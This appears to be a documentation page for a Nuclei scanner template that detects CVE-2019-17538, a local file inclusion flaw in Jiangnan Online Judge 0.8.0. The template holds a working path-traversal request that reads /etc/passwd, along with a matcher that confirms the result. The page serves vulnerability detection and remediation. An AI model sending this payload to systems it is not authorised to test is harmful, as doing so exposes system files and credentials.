Jiangnan Online Judge 0.8.0 - Local File Inclusion

ID: CVE-2019-17538

Severity: high

Author: pussycat0x

Tags: cve2019,cve,jnoj,lfi

Description

Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.

YAML Source

id: CVE-2019-17538

info:
  name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials.
  remediation: |
    Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/shi-yang/jnoj/issues/53
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17538
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17538
    cwe-id: CWE-22
    epss-score: 0.00811
    epss-percentile: 0.81728
    cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jnoj
    product: jiangnan_online_judge
  tags: cve2019,cve,jnoj,lfi

http:
  - raw:
      - |
        GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e80e49ff2c74c95781c55d641963bf4febe263937d7d5aeb4471cfeaa074b54102207dfe62c5da4b9e5968ef2de79e4f10332263b1e19d69fb8ca6b7ecdb7a3f9a91:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17538.yaml"

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